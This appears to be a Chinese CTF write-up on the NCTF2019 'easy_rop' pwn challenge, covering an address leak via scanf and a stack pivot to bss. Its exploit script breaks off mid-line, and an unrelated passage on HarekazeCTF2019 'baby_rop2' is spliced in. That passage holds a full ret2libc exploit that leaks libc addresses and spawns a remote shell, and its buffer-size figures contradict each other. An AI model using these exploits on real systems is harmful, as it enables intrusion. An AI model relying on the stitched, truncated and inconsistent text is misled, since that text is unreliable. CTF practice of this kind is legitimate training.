【Pwn】NCTF2019 easy_rop

本文介绍了NCTF2019比赛中easy_rop挑战的解决过程,涉及程序保护分析、栈溢出、地址泄露、ROP技术以及getshell的方法。通过输入特定数值,利用scanf函数的特性泄露代码段首地址,借助栈迁移技巧,最终实现漏洞利用。

查看程序保护。
在这里插入图片描述分析程序,程序只有一个main函数。
在这里插入图片描述
v6距离rbp为0x70,在输入数字的时候可以输34 * 4个字节的数,34*4-0x70=24,意味着可以溢出覆盖rbp,ret_address,以及返回地址下面的8个字节。main函数的old_rbp值实际上是代码段init的地址,返回地址位置是libc中的一个地址。scanf函数%d当输入为 '+'时不会改变原内存中数据,于是可以来泄露代码段首地址。在输入number之后可以在bss段上输入数据,由于溢出的大小不够所以想到用栈迁移的方式来做。用RopGadget工具发现了一个修改esp的gadget。
在这里插入图片描述
在返回地址下面,即能溢出的最后8个字节,填上bss段上的地址,那么ret后在执行这段gadget的pop rsp时,栈顶指针就到了bss段上,只要控制bss段上的数据,就可以继续进行rop,从而getshell,exp如下:

from  pwn import *

io=remote('xx.xx.xx.xx',xxxxx)

def a(data):
    io.recvuntil(': ')
    io.sendline(data)
for i in range(26):
    a('0')
a('+'
[HarekazeCTF2019]baby_rop2是一道64位、开启了NX保护的Pwn题目,利用思路为ret2libc,涉及printf函数和read函数。程序中定义了`char buf[28];`,但在使用`read(0, buf, 0x100uLL);`时,向buf读取输入最多256(0x100)个无符号长整型常量,而buf数组大小仅为128,存在缓冲区溢出漏洞[^1]。 以下是该题的一个解题脚本: ```python from pwn import * from LibcSearcher import * #p = process('./babyrop2') p = remote("node5.buuoj.cn", 29847) elf = ELF('./babyrop2') printf_plt = elf.plt['printf'] read_got = elf.got['read'] main_address = 0x400636 pop_rdi = 0x400733 pop_rsi_r15 = 0x400731 formart_str = 0x400770 payload1 =b'a' * (0x20 + 8) + p64(pop_rdi) + p64(formart_str) + p64(pop_rsi_r15) + p64(read_got) + p64(0) + p64(printf_plt) + p64(main_address) p.sendlineafter("name? ", payload1) read_address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) print(hex(read_address)) libc = ELF('./libc.so.6') offset = read_address - libc.symbols['read'] binsh = offset + libc.search('/bin/sh').__next__() system = offset + libc.symbols['system'] payload2 = b'a' * (0x20 + 8) + p64(pop_rdi) + p64(binsh)+ p64(system) p.sendline(payload2) p.interactive() ``` 该脚本的攻击思路是,第一次泄露一个地址,然后获取system函数地址和`/bin/sh`字符串,第二次实现注入。具体是先通过构造`payload1`进行栈溢出,覆盖返回地址,用printf函数输出read函数的地址,再返回主函数使栈初始化,以便再次进行栈溢出。发送完`payload1`后,函数先运行到`return 0`,再执行构造的语句,因为返回地址已被覆盖。之后根据泄露的read函数地址计算偏移,进而得到system函数和`/bin/sh`字符串的地址,构造`payload2`实现最终的注入并获取交互shell [^3][^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值